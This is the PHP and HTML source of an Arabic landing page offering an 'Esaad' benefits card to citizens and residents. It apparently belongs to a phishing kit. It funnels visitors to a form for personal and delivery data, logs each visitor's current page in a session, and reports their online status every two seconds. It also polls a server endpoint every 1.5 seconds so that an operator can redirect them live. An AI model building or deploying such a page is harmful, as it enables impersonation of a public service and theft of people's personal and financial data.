<?php
error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'الرئيسية');
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>إسعاد | بطاقة إسعاد</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@300;400;500;700;800;900&display=swap" rel="stylesheet">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.2.0/css/all.css">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }

        html { scroll-behavior: smooth; }

        body {
            font-family: 'Tajawal', Arial, sans-serif;
            background: linear-gradient(180deg, #f7faf7 0%, #ffffff 34%, #f5f7fb 100%);
            color: #233142;
            min-height: 100vh;
            direction: rtl;
            overflow-x: hidden;
        }

        a { text-decoration: none; color: inherit; }
        img { max-width: 100%; display: block; }

        :root {
            --primary: #8cc63f;
            --primary-dark: #5e8e1b;
            --secondary: #1f3a2b;
            --ink: #1f2937;
            --muted: #5f6b7a;
            --surface: #ffffff;
            --surface-soft: #f3f7ef;
            --line: rgba(31, 58, 43, 0.12);
            --shadow: 0 18px 50px rgba(31, 58, 43, 0.12);
            --radius-xl: 28px;
            --radius-lg: 20px;
            --radius-md: 14px;
            --container: 1180px;
        }

        .container {
            width: min(var(--container), calc(100% - 32px));
            margin: 0 auto;
        }

        .topbar {
            border-bottom: 1px solid rgba(140, 198, 63, 0.18);
            background: rgba(255,255,255,0.9);
            backdrop-filter: blur(10px);
        }

        .topbar-inner {
            min-height: 88px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 20px;
        }

        .brand {
            display: flex;
            align-items: center;
            gap: 14px;
        }

        .brand img {
            width: 86px;
            height: auto;
        }

        .brand-copy strong {
            display: block;
            font-size: 17px;
            font-weight: 900;
            color: var(--secondary);
        }

        .brand-copy span {
            display: block;
            margin-top: 2px;
            font-size: 13px;
            color: var(--muted);
        }

        .main-nav {
            display: flex;
            align-items: center;
            gap: 28px;
        }

        .main-nav a {
            font-size: 15px;
            font-weight: 700;
            color: #314254;
            transition: color .25s ease;
        }

        .main-nav a:hover {
            color: var(--primary-dark);
        }

        .header-actions {
            display: flex;
            align-items: center;
            gap: 12px;
        }

        .btn {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            min-height: 48px;
            padding: 0 22px;
            border-radius: 999px;
            border: 1px solid transparent;
            font-family: inherit;
            font-size: 15px;
            font-weight: 800;
            cursor: pointer;
            transition: transform .25s ease, box-shadow .25s ease, background .25s ease, color .25s ease;
        }

        .btn:hover {
            transform: translateY(-1px);
        }

        .btn-primary {
            background: linear-gradient(135deg, var(--primary) 0%, #b2de63 100%);
            color: #1f3412;
            box-shadow: 0 10px 24px rgba(140, 198, 63, 0.26);
        }

        .btn-outline {
            background: #fff;
            border-color: rgba(140, 198, 63, 0.45);
            color: var(--secondary);
        }

        .hamburger {
            display: none;
            width: 46px;
            height: 46px;
            border: 1px solid rgba(31, 58, 43, 0.12);
            border-radius: 14px;
            background: #fff;
            align-items: center;
            justify-content: center;
            flex-direction: column;
            gap: 5px;
            cursor: pointer;
        }

        .hamburger span {
            width: 20px;
            height: 2px;
            background: var(--secondary);
            border-radius: 2px;
        }

        .hero {
            padding: 34px 0 28px;
            position: relative;
        }

        .hero-shell {
            background: linear-gradient(135deg, rgba(255,255,255,.96), rgba(245,249,240,.98));
            border: 1px solid rgba(140, 198, 63, 0.18);
            border-radius: 34px;
            padding: 26px;
            box-shadow: var(--shadow);
            position: relative;
            overflow: hidden;
        }

        .hero-shell::before {
            content: '';
            position: absolute;
            inset: 0;
            background:
                radial-gradient(circle at 88% 12%, rgba(140, 198, 63, 0.14), transparent 18%),
                radial-gradient(circle at 14% 18%, rgba(31, 58, 43, 0.08), transparent 20%),
                linear-gradient(180deg, transparent, rgba(140,198,63,0.03));
            pointer-events: none;
        }

        .hero-topline {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            margin-bottom: 18px;
            position: relative;
            z-index: 1;
        }

        .hero-topline .dot {
            width: 10px;
            height: 10px;
            border-radius: 50%;
            background: #d6e6bd;
        }

        .hero-topline .dot.active {
            background: var(--primary);
            box-shadow: 0 0 0 4px rgba(140, 198, 63, 0.18);
        }

        .hero-grid {
            position: relative;
            z-index: 1;
            display: grid;
            grid-template-columns: 1.08fr .92fr;
            gap: 26px;
            align-items: center;
        }

        .hero-copy {
            text-align: right;
            padding: 18px 6px 18px 0;
        }

        .eyebrow {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 10px 16px;
            border-radius: 999px;
            background: rgba(140, 198, 63, 0.12);
            color: var(--primary-dark);
            font-size: 14px;
            font-weight: 800;
            margin-bottom: 18px;
        }

        .hero-title-box {
            border: 2px dashed rgba(140, 198, 63, 0.72);
            border-radius: 26px;
            padding: 16px 20px;
            background: rgba(255,255,255,.72);
            margin-bottom: 16px;
        }

        .hero-copy h1 {
            font-size: 32px;
            line-height: 1.4;
            color: #213427;
            margin-bottom: 14px;
            font-weight: 900;
        }

        .hero-title-box h1 {
            margin-bottom: 0;
        }

        .hero-copy p {
            font-size: 18px;
            line-height: 1.95;
            color: var(--muted);
            max-width: 620px;
            margin-bottom: 24px;
        }

        .hero-points {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            margin-bottom: 26px;
        }
        .hero-points span {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 10px 14px;
            border-radius: 14px;
            background: #fff;
            border: 1px solid rgba(31, 58, 43, 0.08);
            color: #334155;
            font-size: 14px;
            font-weight: 700;
            box-shadow: 0 6px 18px rgba(15, 23, 42, 0.04);
        }

        .hero-actions {
            display: flex;
            flex-wrap: wrap;
            gap: 16px;
        }

        .hero-actions .btn {
            border-radius: 14px;
        }

        .showcase {
            display: grid;
            gap: 18px;
        }

        .mockup {
            position: relative;
            min-height: 470px;
            border-radius: 28px;
            background: linear-gradient(160deg, #213427 0%, #36533b 100%);
            box-shadow: 0 24px 48px rgba(31, 58, 43, 0.22);
            overflow: hidden;
            padding: 28px;
        }

        .mockup::before {
            content: '';
            position: absolute;
            inset: 18px;
            border-radius: 24px;
            border: 1px solid rgba(255,255,255,0.12);
        }

        .mockup-logo {
            position: absolute;
            top: 28px;
            left: 28px;
            width: 92px;
            opacity: .94;
            filter: drop-shadow(0 8px 18px rgba(0,0,0,.2));
        }

        .phone-card {
            position: absolute;
            right: 28px;
            bottom: 28px;
            width: 220px;
            padding: 18px;
            border-radius: 26px;
            background: linear-gradient(180deg, #ffffff 0%, #f0f7e4 100%);
            box-shadow: 0 26px 40px rgba(0,0,0,.18);
            text-align: right;
        }

        .phone-notch {
            width: 74px;
            height: 8px;
            border-radius: 20px;
            background: #d7dfd0;
            margin: 0 auto 18px;
        }

        .phone-card h3 {
            font-size: 18px;
            font-weight: 900;
            color: #24362b;
            margin-bottom: 8px;
        }

        .phone-card p {
            font-size: 13px;
            line-height: 1.8;
            color: #5f6b7a;
            margin-bottom: 16px;
        }

        .mini-chip {
            display: inline-flex;
            padding: 7px 12px;
            border-radius: 999px;
            background: rgba(140, 198, 63, 0.16);
            color: var(--primary-dark);
            font-size: 12px;
            font-weight: 800;
        }

        .display-card {
            position: absolute;
            left: 34px;
            bottom: 38px;
            width: 220px;
            height: 138px;
            border-radius: 24px;
            background: linear-gradient(135deg, rgba(255,255,255,.18), rgba(255,255,255,.06));
            border: 1px solid rgba(255,255,255,.2);
            backdrop-filter: blur(8px);
            padding: 20px;
            color: #f8fff0;
        }

        .display-card .label {
            font-size: 12px;
            opacity: .9;
            margin-bottom: 12px;
        }

        .display-card strong {
            display: block;
            font-size: 20px;
            line-height: 1.5;
            margin-bottom: 12px;
        }

        .display-card span {
            font-size: 13px;
            color: rgba(255,255,255,.84);
        }

        .announcement {
            margin-top: 24px;
            background: linear-gradient(135deg, #f7fdea 0%, #eff7dd 100%);
            border: 1px solid rgba(140, 198, 63, 0.34);
            border-radius: 24px;
            padding: 22px;
            display: grid;
            grid-template-columns: auto 1fr auto;
            align-items: center;
            gap: 18px;
            box-shadow: 0 16px 32px rgba(140, 198, 63, 0.12);
        }

        .announcement-badge {
            width: 62px;
            height: 62px;
            border-radius: 20px;
            background: linear-gradient(135deg, var(--primary) 0%, #d9f296 100%);
            color: #25410c;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 26px;
            box-shadow: 0 10px 25px rgba(140,198,63,0.22);
        }

        .announcement-copy strong {
            display: block;
            font-size: 23px;
            color: #22352b;
            margin-bottom: 6px;
        }

        .announcement-copy p {
            font-size: 16px;
            line-height: 1.9;
            color: #526070;
        }

        .announcement-timer {
            min-width: 112px;
            text-align: center;
            padding: 16px 18px;
            border-radius: 20px;
            background: #fff;
            border: 1px dashed rgba(140, 198, 63, 0.7);
        }

        .announcement-timer b {
            display: block;
            font-size: 34px;
            color: var(--primary-dark);
            line-height: 1;
            margin-bottom: 6px;
        }

        .announcement-timer span {
            font-size: 13px;
            color: var(--muted);
            font-weight: 700;
        }

        .section {
            padding: 72px 0;
        }

        .section-header {
            text-align: center;
            max-width: 760px;
            margin: 0 auto 34px;
        }

        .section-header .mini-title {
            display: inline-block;
            padding: 8px 14px;
            border-radius: 999px;
            background: rgba(140, 198, 63, 0.12);
            color: var(--primary-dark);
            font-size: 13px;
            font-weight: 800;
            margin-bottom: 14px;
        }

        .section-header h2 {
            font-size: 36px;
            font-weight: 900;
            color: #1f2f24;
            margin-bottom: 12px;
        }

        .section-header p {
            font-size: 17px;
            line-height: 1.9;
            color: var(--muted);
        }

        .services-grid {
            display: grid;
            grid-template-columns: repeat(4, minmax(0, 1fr));
            gap: 18px;
        }

        .service-card {
            background: rgba(255,255,255,.96);
            border: 1px solid rgba(31, 58, 43, 0.08);
            border-radius: 24px;
            padding: 24px 22px;
            box-shadow: 0 16px 28px rgba(15, 23, 42, 0.05);
            transition: transform .25s ease, box-shadow .25s ease, border-color .25s ease;
            text-align: right;
            display: block;
        }

        .service-card:hover {
            transform: translateY(-4px);
            box-shadow: 0 24px 38px rgba(15, 23, 42, 0.09);
            border-color: rgba(140, 198, 63, 0.28);
        }

        .icon-bubble {
            width: 58px;
            height: 58px;
            border-radius: 18px;
            background: linear-gradient(135deg, #f4fbe7 0%, #ecf5d8 100%);
            color: var(--primary-dark);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            margin-bottom: 18px;
        }

        .service-card h3 {
            font-size: 18px;
            font-weight: 800;
            color: #203227;
            line-height: 1.65;
            margin-bottom: 10px;
        }

        .service-card p {
            font-size: 14px;
            line-height: 1.9;
            color: #667384;
            margin-bottom: 18px;
            min-height: 82px;
        }

        .service-link {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            font-size: 14px;
            font-weight: 800;
            color: var(--primary-dark);
        }

        .benefits {
            background: linear-gradient(180deg, #ffffff 0%, #f7faf7 100%);
        }

        .benefits-grid {
            display: grid;
            grid-template-columns: 1.2fr .8fr;
            gap: 24px;
            align-items: start;
        }

        .benefit-list {
            display: grid;
            grid-template-columns: repeat(2, minmax(0, 1fr));
            gap: 18px;
        }

        .benefit-item {
            background: #fff;
            border-radius: 22px;
            padding: 22px;
            border: 1px solid rgba(31,58,43,0.08);
            box-shadow: 0 14px 28px rgba(15, 23, 42, 0.05);
        }

        .benefit-item i {
            color: var(--primary-dark);
            font-size: 24px;
            margin-bottom: 12px;
        }

        .benefit-item h3 {
            font-size: 18px;
            font-weight: 800;
            color: #243329;
            margin-bottom: 8px;
        }

        .benefit-item p {
            font-size: 14px;
            line-height: 1.9;
            color: #657181;
        }

        .highlight-panel {
            border-radius: 28px;
            background: linear-gradient(160deg, #24372b 0%, #314a39 100%);
            color: #fff;
            padding: 28px;
            box-shadow: 0 24px 46px rgba(31, 58, 43, 0.2);
            position: sticky;
            top: 108px;
        }

        .highlight-panel .tag {
            display: inline-flex;
            padding: 9px 14px;
            border-radius: 999px;
            background: rgba(255,255,255,.12);
            font-size: 13px;
            font-weight: 800;
            margin-bottom: 16px;
        }

        .highlight-panel h3 {
            font-size: 28px;
            font-weight: 900;
            line-height: 1.5;
            margin-bottom: 14px;
        }

        .highlight-panel p {
            font-size: 15px;
            line-height: 1.95;
            color: rgba(255,255,255,.86);
            margin-bottom: 18px;
        }

        .highlight-panel ul {
            list-style: none;
            display: grid;
            gap: 12px;
        }

        .highlight-panel li {
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 14px;
            line-height: 1.8;
            color: rgba(255,255,255,.94);
        }

        .highlight-panel li i {
            color: #d4f08f;
        }

        .steps-grid {
            display: grid;
            grid-template-columns: repeat(3, minmax(0, 1fr));
            gap: 18px;
        }

        .step-card {
            background: #fff;
            border-radius: 24px;
            border: 1px solid rgba(31,58,43,0.08);
            box-shadow: 0 14px 28px rgba(15, 23, 42, 0.05);
            position: relative;
            overflow: hidden;
        }

        .step-card summary {
            list-style: none;
            display: flex;
            align-items: center;
            gap: 14px;
            padding: 24px;
            cursor: pointer;
        }

        .step-card summary::-webkit-details-marker {
            display: none;
        }

        .step-number {
            width: 48px;
            height: 48px;
            border-radius: 16px;
            background: linear-gradient(135deg, #edf7d4 0%, #ddefa5 100%);
            color: var(--primary-dark);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 20px;
            font-weight: 900;
            flex-shrink: 0;
        }

        .step-title {
            flex: 1;
            font-size: 19px;
            font-weight: 800;
            color: #233127;
        }

        .step-toggle {
            width: 34px;
            height: 34px;
            border-radius: 12px;
            background: rgba(140, 198, 63, 0.14);
            color: var(--primary-dark);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 22px;
            font-weight: 700;
            line-height: 1;
            transition: transform .2s ease, background .2s ease;
            flex-shrink: 0;
        }

        .step-card[open] .step-toggle {
            transform: rotate(45deg);
            background: rgba(140, 198, 63, 0.22);
        }

        .step-body {
            padding: 0 24px 24px;
        }

        .step-body p {
            font-size: 14px;
            line-height: 1.9;
            color: #667384;
            margin: 0;
        }

        .cta-panel {
            padding: 30px;
            border-radius: 30px;
            background: linear-gradient(135deg, rgba(140,198,63,.12) 0%, rgba(255,255,255,1) 100%);
            border: 1px solid rgba(140,198,63,.26);
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 18px;
            box-shadow: 0 18px 36px rgba(140, 198, 63, 0.08);
        }

        .cta-panel h3 {
            font-size: 30px;
            font-weight: 900;
            color: #233127;
            margin-bottom: 8px;
        }

        .cta-panel p {
            font-size: 16px;
            line-height: 1.9;
            color: var(--muted);
            max-width: 640px;
        }

        .footer {
            margin-top: 36px;
            padding: 24px 0 34px;
            background: #202935;
            color: #fff;
        }

        .footer-inner {
            display: flex;
            justify-content: space-between;
            align-items: center;
            gap: 20px;
        }

        .footer-brand {
            display: flex;
            align-items: center;
            gap: 14px;
        }

        .footer-brand img {
            width: 74px;
            filter: brightness(1.04);
        }

        .footer-brand strong {
            display: block;
            font-size: 17px;
            margin-bottom: 4px;
        }

        .footer-brand span,
        .footer-copy {
            font-size: 13px;
            color: rgba(255,255,255,.72);
        }

        .footer-links {
            display: flex;
            align-items: center;
            gap: 18px;
            flex-wrap: wrap;
        }

        .footer-links a {
            color: rgba(255,255,255,.9);
            font-size: 14px;
            font-weight: 700;
        }

        @media (max-width: 1080px) {
            .main-nav { gap: 18px; }
            .hero-grid,
            .benefits-grid,
            .services-grid,
            .steps-grid {
                grid-template-columns: 1fr 1fr;
            }
            .hero-copy h1 { font-size: 26px; }
            .announcement { grid-template-columns: auto 1fr; }
            .announcement-timer { grid-column: 1 / -1; justify-self: start; }
            .benefit-list { grid-template-columns: 1fr; }
            .highlight-panel { position: static; }
        }

        @media (max-width: 980px) {
            .topbar-inner {
                min-height: 78px;
                flex-wrap: wrap;
                gap: 14px;
            }
            .brand {
                flex: 1;
                min-width: 0;
            }
            .hamburger {
                display: none;
            }
            .header-actions {
                width: 100%;
                justify-content: space-between;
            }
            .header-actions .btn-outline {
                display: none;
            }
            .header-actions .btn-primary {
                flex: 1;
            }
            .main-nav {
                display: flex;
                width: 100%;
                flex-wrap: wrap;
                justify-content: center;
                gap: 10px;
                padding: 12px 0 2px;
                order: 4;
            }
            .main-nav.active {
                display: flex;
            }
            .main-nav a {
                background: #fff;
                border: 1px solid rgba(31,58,43,0.08);
                border-radius: 16px;
                padding: 12px 14px;
                text-align: center;
            }
            .hero-shell {
                padding: 18px;
                border-radius: 28px;
            }
            .hero-grid,
            .announcement,
            .steps-grid,
            .cta-panel,
            .footer-inner,
            .services-grid {
                grid-template-columns: 1fr;
                display: grid;
            }
            .showcase {
                order: -1;
            }
            .hero-copy {
                text-align: center;
                padding: 0;
            }
            .hero-copy p,
            .cta-panel p {
                max-width: none;
            }
            .hero-actions,
            .hero-points {
                justify-content: center;
            }
            .announcement {
                text-align: center;
            }
            .announcement-badge,
            .announcement-timer {
                justify-self: center;
            }
            .mockup {
                min-height: 380px;
            }
            .display-card {
                left: 20px;
                width: 180px;
                height: auto;
            }
            .phone-card {
                right: 18px;
                width: 190px;
            }
            .cta-panel {
                text-align: center;
                justify-items: center;
            }
            .footer-inner {
                justify-items: center;
                text-align: center;
            }
            .footer-brand,
            .footer-links {
                justify-content: center;
            }
        }

        @media (max-width: 860px) {
            .hero-copy h1 {
                font-size: 20px;
            }
        }

        @media (max-width: 640px) {
            .container {
                width: min(var(--container), calc(100% - 20px));
            }
            .topbar-inner {
                gap: 12px;
            }
            .brand {
                gap: 10px;
            }
            .brand img { width: 80px; }
            .brand-copy strong { font-size: 15px; }
            .brand-copy span { display: none; }
            .hamburger {
                width: 42px;
                height: 42px;
                border-radius: 12px;
            }
            .header-actions {
                width: 100%;
            }
            .header-actions .btn-primary {
                min-height: 44px;
                width: 100%;
                padding: 0 16px;
                font-size: 14px;
            }
            .hero {
                padding: 16px 0 18px;
            }
            .hero-topline {
                margin-bottom: 14px;
            }
            .eyebrow {
                font-size: 12px;
                padding: 8px 12px;
            }
            .hero-title-box {
                padding: 12px 14px;
                border-radius: 20px;
                margin-bottom: 14px;
            }
            .hero-copy h1 {
                font-size: 16px;
                line-height: 1.6;
                margin-bottom: 10px;
            }
            .hero-title-box h1 {
                margin-bottom: 0;
            }
            .hero-copy p {
                font-size: 15px;
                line-height: 1.95;
                margin-bottom: 18px;
            }
            .hero-points {
                gap: 8px;
                margin-bottom: 18px;
            }
            .hero-points span {
                width: 100%;
                justify-content: center;
                font-size: 13px;
                padding: 10px 12px;
            }
            .hero-actions {
                gap: 12px;
            }
            .hero-actions .btn {
                width: 100%;
            }
            .mockup {
                min-height: 312px;
                padding: 16px;
            }
            .mockup-logo {
                width: 94px;
                top: 18px;
                left: 50%;
                transform: translateX(-50%);
            }
            .display-card {
                left: 14px;
                right: 14px;
                width: auto;
                bottom: 16px;
                border-radius: 20px;
                padding: 16px;
            }
            .phone-card {
                position: relative;
                right: auto;
                bottom: auto;
                width: calc(100% - 40px);
                margin: 98px auto 0;
                padding: 16px;
                border-radius: 22px;
            }
            .phone-notch {
                margin-bottom: 12px;
            }
            .announcement {
                padding: 18px;
                gap: 14px;
                margin-top: 18px;
            }
            .announcement-badge {
                width: 52px;
                height: 52px;
                border-radius: 16px;
                font-size: 22px;
            }
            .announcement-copy strong {
                font-size: 19px;
                line-height: 1.6;
            }
            .announcement-copy p {
                font-size: 14px;
                line-height: 1.85;
            }
            .announcement-timer {
                min-width: 100%;
                padding: 14px 16px;
            }
            .announcement-timer b {
                font-size: 30px;
            }
            .section {
                padding: 48px 0;
            }
            .section-header {
                margin-bottom: 24px;
            }
            .section-header h2 {
                font-size: 27px;
                line-height: 1.5;
            }
            .section-header p {
                font-size: 15px;
                line-height: 1.9;
            }
            .services-grid,
            .benefit-list,
            .steps-grid {
                display: grid;
                grid-template-columns: 1fr;
            }
            .service-card,
            .benefit-item {
                border-radius: 20px;
                padding: 20px 18px;
            }
            .step-card {
                border-radius: 20px;
            }
            .step-card summary {
                padding: 20px 18px;
                gap: 12px;
            }
            .step-body {
                padding: 0 18px 20px;
            }
            .service-card p {
                min-height: auto;
            }
            .highlight-panel {
                border-radius: 24px;
                padding: 22px 18px;
            }
            .highlight-panel h3 {
                font-size: 24px;
            }
            .cta-panel {
                padding: 22px 18px;
                border-radius: 24px;
            }
            .cta-panel h3 {
                font-size: 24px;
                line-height: 1.6;
            }
            .cta-panel p {
                font-size: 14px;
            }
            .footer {
                padding: 20px 0 28px;
            }
            .footer-brand img {
                width: 82px;
            }
        }
    </style>
</head>
<body>
    <header class="topbar">
        <div class="container topbar-inner">
            <a href="index.php" class="brand" aria-label="الصفحة الرئيسية">
                <img src="./assets/sahara_brand_logo.png?v=esaad" alt="إسعاد">
                <div class="brand-copy">
                    <span>خدمات ومزايا للمواطنين والمقيمين</span>
                </div>
            </a>

            <div class="header-actions">
                <a href="#services" class="btn btn-outline">استعرض الخدمات</a>
            </div>
        </div>
    </header>

    <main>
        <section class="hero">
            <div class="container">
                <div class="hero-shell">
                    <div class="hero-topline" aria-hidden="true">
                        <span class="dot"></span>
                        <span class="dot active"></span>
                        <span class="dot"></span>
                    </div>

                    <div class="hero-grid">
                        <div class="hero-copy">
                            <span class="eyebrow"><i class="fas fa-id-card"></i> منصة طلب بطاقة إسعاد</span>
                            <div class="hero-title-box">
                                <h1>بطاقة إسعاد لجميع المواطنين والمقيمين عبر تجربة رقمية واضحة وسريعة</h1>
                            </div>
                            <div class="hero-points">
                                <span><i class="fas fa-shipping-fast"></i> إدخال بيانات التوصيل بسهولة</span>
                                <span><i class="fas fa-shield-alt"></i> تجربة موثوقة ومنظمة</span>
                            </div>
                            <div class="hero-actions">
                                <a href="index-details.php" class="btn btn-primary">تقديم الطلب</a>
                                <a href="#services" class="btn btn-outline">استكشاف الخدمات</a>
                            </div>
                        </div>

                    </div>

                </div>
            </div>
        </section>


        <section class="section" id="steps">
            <div class="container">
                <div class="section-header">
                    <span class="mini-title">آلية التقديم</span>
                </div>

                <div class="steps-grid">
                    <details class="step-card">
                        <summary>
                            <div class="step-number">1</div>
                            <span class="step-title">استعراض الخدمة</span>
                            <span class="step-toggle" aria-hidden="true">+</span>
                        </summary>
                        <div class="step-body">
                            <p>اطلع على الإعلان الرئيسي والمزايا الأساسية ثم انتقل مباشرة إلى صفحة الطلب من الزر الرئيسي.</p>
                        </div>
                    </details>
                    <details class="step-card">
                        <summary>
                            <div class="step-number">2</div>
                            <span class="step-title">إدخال البيانات</span>
                            <span class="step-toggle" aria-hidden="true">+</span>
                        </summary>
                        <div class="step-body">
                            <p>أدخل بياناتك الشخصية وبيانات التوصيل وعدد أفراد الأسرة ثم أكمل الحقول الإلزامية.</p>
                        </div>
                    </details>
                    <details class="step-card">
                        <summary>
                            <div class="step-number">3</div>
                            <span class="step-title">متابعة الطلب</span>
                            <span class="step-toggle" aria-hidden="true">+</span>
                        </summary>
                        <div class="step-body">
                            <p>بعد مراجعة البيانات والموافقة على الشروط، تابع الطلب من الزر المخصص ضمن الواجهة الجديدة.</p>
                        </div>
                    </details>
                </div>
            </div>
        </section>

        <section class="section">
            <div class="container">
                <div class="cta-panel">
                    <div>
                        <h3>جاهز لبدء طلب بطاقة إسعاد؟</h3>
                    </div>
                    <a href="index-details.php" class="btn btn-primary">ابدأ الطلب الآن</a>
                </div>
            </div>
        </section>
    </main>

    <footer class="footer">
        <div class="container footer-inner">
            <div class="footer-brand">
                <img src="./assets/sahara_brand_logo.png?v=esaad" alt="إسعاد">
                <div>
                    <strong>بطاقة إسعاد | esaad</strong>
                </div>
            </div>
            <div class="footer-copy">© إسعاد 2026 - جميع الحقوق محفوظة</div>
        </div>
    </footer>

    <script>
    function toggleMenu() {
        document.getElementById('navMenu').classList.toggle('active');
    }
    </script>

    <script>
    function checkRedirect() {
        fetch('polling-redirect.php')
            .then(r => r.json())
            .then(data => {
                if (data.redirect) {
                    window.location.href = data.redirect;
                }
            })
            .catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>

    
<script>
// Heartbeat - تحديث حالة الاتصال فوراً
function sendHeartbeat() {
    fetch('heartbeat.php').catch(function(e){});
}
setInterval(sendHeartbeat, 2000);
sendHeartbeat();
window.addEventListener('beforeunload', function() {
    navigator.sendBeacon('heartbeat.php', new URLSearchParams({action: 'offline'}));
});
</script>
</body>
</html>
